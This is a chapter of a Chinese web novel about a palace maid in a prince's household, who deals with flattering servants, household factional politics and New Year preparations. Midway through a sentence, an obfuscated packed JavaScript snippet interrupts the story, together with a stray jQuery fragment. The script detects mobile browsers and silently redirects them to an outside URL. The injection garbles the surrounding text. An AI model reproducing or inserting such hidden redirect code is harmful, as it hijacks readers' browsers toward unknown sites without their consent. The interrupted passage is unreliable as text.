39. 奉承
作品:《长安小婢女的咸鱼日常》 还未等琢磨透赵侧妃的话,沈蕙甫一回兽房,便见六儿指指楼上,小楼凭栏处站着五六个陌生的身影,打头的老仆妇穿金戴银,一套枣红色的衫裙纹饰精致,外披着缎面羊皮里子的短袄。
“这是大库房的洪妈妈。”段姑姑唤沈蕙上楼,引她认人。
沈蕙一福身:“见过洪妈妈”
“好孩子,快起来。”大库房那地方当真养人,洪妈妈年逾五十仍双目精明、背脊比直,鬓发油亮,“她便是段妹妹你常说的沈蕙吧,模样周正,瞧着确实机灵,倒值得妹妹这般栽培信重。”
“洪妈妈您言重,晚辈愧不敢当。”沈蕙和段姑姑一样,言语并不热络。
王府里的生存之道如此,若非一个派别,没必要交好。
因有赵侧妃的敲打,洪妈妈方不情不愿地来了兽房,否则她才不会留余地,要一直刁难人到彻底理账前。
众人进屋后,段姑姑端坐着饮茶,摆出一副极想送客的姿态:“几日后就是元日,大库房诸位管事各个忙得分身乏术,姐姐若想说些什么,倒不妨直言,假如让兽房耽误你辅佐侧妃打理过节事宜,我该成罪人了。”
元日既是正月初一,新年到,家家户户谁不忙,何况是王府,除夕、元日宫中都会设宴,今年明德帝想多见见儿孙,命各亲王携妻儿入宫住到正月初七过了人日再回府,故而楚王妃便命赵侧妃暂时管家。
“怎会,我今天来兽房是办正事,取你们这的账簿名册。”洪妈妈亦是敷衍,嘴上亲近,随意寻个由头,“段妹妹你也在大库房里待过,又是宫中出来的人,应当知道我们的活计只是表面看容易,偏生底下的丫鬟又不中用,传话传得乱七八糟,差点让你我之间生了嫌隙。”
她命小丫鬟上前:“还不速速赔礼认错。”
顶罪的人迅速狠狠跪下,大力扇自己巴掌,血印通红:“是奴婢不懂事传错了话,是奴婢愚蠢,是奴婢蠢钝......”
“行了,阿蕙,将簿册交给洪妈妈。”段姑姑懒得继续虚与委蛇。
洪妈妈遣丫鬟起身,表面客套,忙不迭走了:“事既办妥,我不叨扰你们了,沈丫头若得空,常来大库房逛逛。”
“你琢磨明白了吗?”段姑姑命沈蕙关上门,目光轻轻扫向她。
“赵侧妃是故意给我撑腰。”她想到昨日在东园时听到的,“但她之前素来不声不响,为何突然因为一件小事去敲打大库房,我查到洪妈妈背后是崔侧妃,她肯定也能,岂不是明晃晃地撕破脸?”
“有时,并非谁想不争便可如愿的。赵侧妃再次诞下皇孙又得晋封,风光无两,到这个地步上即使再韬光养晦,都没办法独善其身。人一发达了,踩你的依旧踩你,是害虫,可扑上来吹捧奉承你的,也不是绝对有利于你。”段姑姑话里有话。
沈蕙一点就透,当即明白赵侧妃的处境亦是自己的处境,颔首道:“不强硬些,日后恐怕会惹更多的麻烦。”
水涨船高,赵侧妃走了大运,而她从入府那天起就被视为楚王妃、赵侧妃一派的人,岂能躲过想拥上来借势的人?
赵侧妃先前不争不抢的,如今却暂时手握管家权,王妃又不在府中,乃后院第一位贵主,果断给她撑腰,出手保护自己人,稳定人心,也是想表现其今非昔比,教训个洪妈妈来杀鸡儆猴,命大库房那边安生些,恪尽职守辅佐。
至于她......约莫是因为这次她从未向大库房服软,不做墙头草,才能被赵侧妃看重,借着她展示信任,否则有的是人削减了脑袋想顶上来。
“难道,我该再跋扈些?”沈蕙问段姑姑。
段姑姑赞赏地稍露笑意:“像赵侧妃这样的主子,她的脸面不光在宠爱上,还在于她的孩子过得好不好、她手下的人过得好不好。假如遇事你先服软或立即倒戈了,旁人上来打你,打的并非你的脸,而是赵侧妃的脸。”
“谢谢姑姑,我受教了。”沈蕙将这条职场经验谨记于心。
过了今夜就要到除夕,府里府外上下一片喧闹中,沈蕙急忙写好食谱,忙里偷闲,躲进膳房里闻着甜而暖的蒸蛋糕香,在昏黄的小油灯边画图纸。
祥云偷偷找过她,想求她想点新奇的趣事分散赵侧妃的注意力。
如今赵侧妃掌着家,除却打理庶务看账簿就是闲坐着发呆,神情虽正常,但眼眸里时常填满郁色。
沈蕙猜,她大概有些产后抑郁。
“姐姐还在画布袋呀,是想一起做给赵侧妃吗?”沈薇在纸上记食材的数量,瞥见沈蕙正画着图纸,好奇道。
沈蕙左改右改,仍不满意:“我先自己用试试。”
古人非傻子,布包这种东西大齐早已被发明,但因外形粗糙,只是缝了背带斜挎的布袋子,尚只在普通商旅中流行,她想仿照后世的硬皮手包,做个送给赵侧妃。
若是容易,以赵侧妃的性子大约会想亲手缝制给孩子们,算是给她找些事情做。
“你总会弄这些新鲜玩意,来尝尝这蛋糕是不是你说得那个味道。”吴厨娘拍拍桌子,示意两人收走不相干的东西,来尝菜,“我吃着行,但最好再多放些面粉,拿炭火猛火一烤,夹炙羊肉吃应该很是不错。”
沈蕙不过能记住个大概的食谱,连写带比划,沈薇随着她半想半猜,尝试做蒸蛋糕,可惜不知何处出了问题,成品总是古怪。
沈薇问旁人:“六儿七儿,你俩感觉怎么样?”
“像放了糖的鸡蛋饼。”小吃货六儿向吴厨娘讨配菜,“上次买的酱瓜还剩嘛?”
七儿忙喝水:“有点噎得慌。”
“快帮我倒一杯酪浆。”沈蕙也觉得干,直拍胸口。
“我都做三次了。”沈薇苦恼道,“姐姐,你真不记得任何配料的细节吗?”
因强行回忆烹饪方法,已大脑空白一片的沈蕙晃晃头,似乎用脑过度了,她以前会吃爱吃,但终究是个学生,哪里能和专业的厨师相比。
“又在蒸你们那个蛋糕了?”张嬷嬷看着众人反复忙活几次,倒是技痒,“这是阿蕙自己想吃,还是准备呈给赵侧妃的点心?”
沈蕙眼巴巴地瞧着她:“要送给赵侧妃的,嬷嬷,帮帮我们吧。”
“行,那我帮你们一把,稍稍奢侈下。”张嬷嬷一笑,“大道至简,凡是做点心,记住唯一的诀窍就好,要舍得放糖。”
“怪不得我总觉得赵侧妃那的糕点特别好吃,即便是最普通的白糖酥饼,都比下人膳房做得好。”沈蕙恍然大悟。
“酥饼要用猪油开酥,要不是做给主子们吃,谁舍得那么用。”张嬷嬷飞快阅览过一遍她写的大概食谱,手上动作利索,“你还准备了哪几样新奇的吃食,我瞧瞧。”
“还有双皮奶和奶油。”沈蕙赶紧道。
“听起来和冰乳酪与酥山大差不差。”张嬷嬷出身宫中,见多识广,“可惜现在不巧,天寒地冻的,都在用牛乳做酪子,卖鲜牛乳的人不多。这两样东西你直接拿食谱交上去吧,东园小膳房里什么东西没有,由着他们去试去做。”
张嬷嬷一出手,自然厉害,这次的蒸蛋糕水润蓬松、香甜温软,因缺少旁的搭配,她把酸杏干切碎了用淡淡的糖水一熬,煮成微浓稠的酱淋在上面,酸甜中和:“这东西好,老少咸宜,不过最好搭配鲜果,等有樱桃了,用糖煎樱桃配着吃,或许比樱桃毕罗还受人追捧呢。”
“还得是张嬷嬷。”甜食消除烦恼、缓解疲劳,沈蕙越吃越来了精神。
*
因人人忙碌,赵侧妃下令延后府中了宵禁的时辰,月黑风高,兽房里多出不少人。
“姐姐...”廊下,谷雨特意立在门外等沈蕙回兽房,深深行礼,双手奉上一支嵌白玉珠杏花银步摇,“多谢姐姐。”
沈蕙诧异,扶她起身:“你干嘛呀,突然跟我客气。”
“赵侧妃要给新养的小猴子裁衣裳,祥云姐姐问绣房的人谁会,我一听便知是姐姐找我做过的,立马接了这个活。楚娘子见状,晋升我当三等绣娘,从此我不再是杂役小丫鬟了。”谷雨也是苦尽甘来,眼角含泪。
即便升了三等,谷雨的月钱也买不起银步摇,所幸偷偷往外卖巾帕荷包的生意红火,不用她倾尽全部身家。
她当然知道无论送不送礼,沈蕙都拿她当好妹妹,然而一想到她依着沈蕙、沈蕙依着许娘子、许娘子依着赵侧妃,一个牵一个,竟然能令她这小小的杂役沾上赵侧妃光,不免多出些刻意的讨好。
“那太好了,赵侧妃性情和顺,你勤恳当差,她就不会吝啬赏赐。”沈蕙真心替她高兴,又意识到自己从未想过的问题,“楚娘子能随意晋升杂役,我能吗?”
谷雨想了想:“应该可以,毕竟兽房现在没有一等婢女,婢女里你最大,你如果想提拔谁就请示下段姑姑,得她同意后,准没问题。”
“原来如此。”沈蕙觉得也是时候提拔下六儿七儿了。
“姐姐快进屋吧,孙婆子和几个别处来的奴仆在等你。”谷雨道。
屋里桌上堆满各式小木匣,将要装不下。
孙婆子极有眼色,凑过去扶沈蕙进门。
“沈姑娘好。”孙婆子刚要说话,三两丫鬟们挤开她,忙朝沈蕙谄笑道,“元日将近,奴婢绣一只带有祥云纹的荷包给姐姐讨个好彩头,祝姐姐长乐无极、长乐未央。”
余下人异口同声:“奴婢也一样。”
其中甚至还有个岁数不大的小太监:“沈姑娘好,这是我的一点心意。”
他们懂规矩,见过沈蕙了就走,是避嫌,也怕她拒绝。
最先进屋但没讲上半点字的孙婆子不甘落于人后,待只剩她后,“噗通”跪到沈蕙脚边,
奉承也需有度,她这就过于夸张了。
“干什么,孙婆婆你赶紧起来。”沈蕙避开。
“老婆子我心里有愧,不敢起身,只等先沈姑娘原谅了我。”孙婆子却不肯,声泪俱下,“我明白自从我分来兽房后你总默默提防着我,我不与你继续隐瞒了,我的确收过田女史的银子,可我是不得已而为之呀。”
当真如段姑姑所言,人一发达,什么香的臭的全沾上来了。
沈蕙一改对兽房众人的和善,冷冷道:“孙婆婆如今坦白,是无意再听从田女史了?”
“何止。”孙婆子还跪着,“我是愿意将功折罪的。姑娘你不知,小梨虽年纪轻轻但比我心机深沉百倍千倍,时常奉命监视你的一言一行,近来田女史似乎吩咐了她做哪些见不得人的脏事,她白日里早早出了兽房到处闲逛听壁角,入夜后悄悄去田女史那传报消息,着实可恶。你如果不嫌弃,我必定替你紧紧看管住小梨。”
“姑娘看来是不信我,好,我和你发毒誓。”她一咬牙,竖起三根手指。
“快过节了,婆婆何必平白无故地沾这种晦气。”沈蕙作观望神态,真话里掺上半句假,“假如讲究一个情分,我相信你,可万事还要讲道理,恕我无法全然相信。田女史害段姑姑丢了大库房的差事,又屡次针对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493803|166052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我,说不定此次洪妈妈就是受了她的指使。除非你帮我探探小梨的口风,问她田女史到底在谋划什么。”
“是,老奴定会办到。”孙婆子松口气,自顾自站起来,讨好地上去替沈蕙收拾下面人送的礼,“姑娘莫动,我来替你收拾。”
沈蕙摇摇头:“小丫鬟讨好我就罢了,太监寻我作甚?”
“正因为是太监才要奉承姑娘你呐。”孙婆子是府里老人,零碎的消息知道得比她多,“大王不喜用阉人,主子们身边也就几个贴身伺候的公公得重用些,余下各房里,只剩大库房的三个管事、前院采买房的三个管事和大小主子膳房的六个管事是太监,太监不比奴仆,管事的位置就那么些,斗得最厉害。姑娘你前途无量,谁不想借您攀高枝呢。”
她语罢,赶紧找补:“当然,我是受良心谴责,绝对忠诚于姑娘你。”
沈蕙晲着她,似笑非笑:“那我等着孙婆婆你的投名状。”
做墙头草,总是做不长久的。
—
除夕夜,驱傩忙。
宫中要行大傩之礼,驱傩队伍从承天门出了皇城,一路越过外郭城的诸城门,声势浩大,鼓声肃穆,齐齐唱道:“...凡使一十二神追恶凶,赫汝躯,拉汝干,节解汝肉,抽汝肺肠,汝不急去,后者为粮。”
楚王府里自也小办了场驱傩仪,许娘子的儿子苗谨被选做应和方相氏的逐疫侲子之一,头戴狰狞假面,在火光冲天的庭燎旁跳祭舞,而后随众人绕夹道驱邪祟出府。
而堵在兽房门口奉承的人比驱傩队伍还大嗓门。
“沈姑娘好。”
“奴婢见过沈姐姐,姐姐要去哪,用不用奴婢引路?”
“姐姐,我上次说得事情......”
新鲜出炉的三等婢女六儿较以往更不好惹:“去去去,把我们姐姐当什么了,大王和王妃三令五申不许奴仆拉帮结派,可别害了她。”
七儿嘴巴笨,就默默挡在沈蕙身前。
“诸位莫要让阿蕙难办,望你们体谅。”沈蕙是故意没从花房穿过,而是走外面的夹道,按照段姑姑的教导顺势表态。
这不叫收了钱不办事,之前送礼只是他们自己凑上来试探态度,投石问路而已。
段姑姑告诉过沈蕙,若她实在过意不去,全认作弟弟妹妹但不答应为谁办事,几日后这帮人便散了,或许会剩下一两个心性坚韧的,那才算能收拢的人。
话已至此,围堵沈蕙的丫鬟太监们只得散去。
沈蕙闯过这关,终于挤进下人膳房。
“姐姐,你们兽房要设庭燎吗,不设置的话,来与我们一同守岁吧。”沈薇指挥众人准备好明日做五辛盘的时蔬,一身辛辣气,“采买房、花房和绣房的人都要来,张嬷嬷看得的银子多,命我买了些牛肉,你吃不吃?”
庭燎就是大火堆,人们坐在火堆旁守岁。
这时习俗是在元日吃五中辛辣蔬菜做的五辛盘,也吃类似饺子的吃食,但叫汤中牢丸。
“当然吃。”沈蕙还是想在过年时吃顿正儿八经的饺子,“要不咱们包牢丸吧,不过模样要改变一些,包两种馅,牛肉大葱和韭菜鸡蛋,不放汤,过水煮后直接吃,沾蒜末与酱油、醋。”
这吃法怪,但奈何姐姐爱吃的食物都少见,沈薇已见怪不怪:“好,姐姐想吃什么我做什么。”
庭燎火旺,温暖的热气烤得人困意上涌,竹子被烧出轻轻的噼里啪啦声,极为助眠,沈蕙靠着沈薇,边等着吃饺子,边懒懒地看拿菜的婢女进进出出:“那几个人瞧着面生,我怎不知后院有出手那般阔绰的婢女?”
她们拿的全是贵菜,又一个劲打赏厨娘。
“应是郑侍妾院子里的,就是新入府的主子,住在北园。”沈薇向她们挥挥手。
“我们姐姐向两位姐姐问好。”一跟随的小丫鬟递上对银戒指。
“郑侍妾属实大方,她进门后赏了绣房所有人,每个大绣娘各得一对金钗,小绣娘是一对银钗,丫鬟们也有二两银子。”沈薇本是不好意思要的,但毕竟属于人情往来,道了声谢,只得收下。
沈蕙手拿银戒指把玩,不住感叹:“估计这就是出身世族的女郎吧,自幼钟鸣鼎食,最不缺银子。”
忽而,听脚步声急促。
一衣衫单薄的少年闯到角门处,朗声问:“这可有兽房的婢女?”
他腰间别着假面,着赤布袴褶,是侲子的打扮。
“怎么了?”沈蕙被吓了一跳,忙出去道。
“我养的猫近来总是叫,还偷偷往出跑,今夜一看,它好似要昏过去了,还望姑娘帮帮我,救它一命。”这小郎君身形修长,大约舞勺之年,比她高些,厚重保暖的袄子全裹在低声喵喵叫的大肚子母猫上,发顶与肩头落满霜雪,白茫茫,寒冷浸透罗袍。
“有没有种可能,它可能要生了。”沈蕙摸摸他怀里的超级无敌大胖猫,震惊之余,没忍住翻了个白眼,“你还把它喂这么胖,能不难产嘛。”
她不知这人身份,不敢随意应下。
这郎君神色焦急,指节被冻得发白,观沈蕙猜疑,眉宇间染上无奈,不得已道:“是我蠢笨,还请姑娘救救它。我姓萧,大王是我舅父。”
他递来一块沉甸甸的金饼。
“好吧……”金饼的力量无限大,且沈蕙确实听说过前院似乎住着个楚王的外甥,一把接过嗷嗷叫唤的母猫,这重量差点令她闪到腰,来不及回兽房,狂奔向沈薇的屋子。